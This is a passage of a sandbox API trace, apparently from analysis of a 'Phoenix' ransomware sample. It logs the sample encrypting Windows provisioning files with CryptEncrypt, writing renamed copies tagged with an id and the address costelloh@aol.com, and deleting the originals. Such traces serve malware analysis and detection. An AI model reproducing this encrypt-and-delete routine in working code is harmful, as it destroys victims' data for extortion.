	[0237.805] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.806] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.806] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0237.806] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.806] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28a, lpOverlapped=0x0) returned 1
	[0237.853] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0237.853] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0237.854] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0237.854] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.854] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.854] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0237.854] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.854] CryptDestroyKey (hKey=0x151100) returned 1
	[0237.854] CloseHandle (hObject=0x2e4) returned 1
	[0237.854] CloseHandle (hObject=0x2f4) returned 1
	[0237.854] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.857] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.858] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=649) returned 1
	[0237.858] CloseHandle (hObject=0x2f4) returned 1
	[0237.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.859] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0237.859] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.859] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x289, lpOverlapped=0x0) returned 1
	[0237.866] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0237.866] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0237.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0237.867] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.867] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.867] CryptDestroyKey (hKey=0x151040) returned 1
	[0237.867] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.867] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0237.867] CloseHandle (hObject=0x2f4) returned 1
	[0237.867] CloseHandle (hObject=0x2e4) returned 1
	[0237.868] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.869] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.869] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.869] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=715) returned 1
	[0237.869] CloseHandle (hObject=0x2e4) returned 1
	[0237.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.870] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.870] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.870] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.870] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.870] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0237.870] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.870] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0237.879] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0237.879] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0237.891] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0237.891] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.891] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.891] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0237.891] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.891] CryptDestroyKey (hKey=0x151280) returned 1
	[0237.891] CloseHandle (hObject=0x2e4) returned 1
	[0237.891] CloseHandle (hObject=0x2f4) returned 1
	[0237.891] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.947] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.948] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.948] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=732) returned 1
	[0237.948] CloseHandle (hObject=0x2e4) returned 1
	[0237.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0237.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.948] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.948] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.948] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.948] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.949] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0237.949] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.949] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2dc, lpOverlapped=0x0) returned 1
	[0237.950] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0237.950] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.951] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0237.951] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.951] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.951] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.951] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.951] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0237.951] CloseHandle (hObject=0x2e4) returned 1
	[0237.951] CloseHandle (hObject=0x2d4) returned 1
	[0237.952] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml")) returned 1
	[0237.953] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.953] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.993] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=701) returned 1
	[0237.993] CloseHandle (hObject=0x2c0) returned 1
	[0237.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.993] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.993] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.993] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.994] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.994] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0237.994] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.994] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bd, lpOverlapped=0x0) returned 1
	[0237.995] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0237.995] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
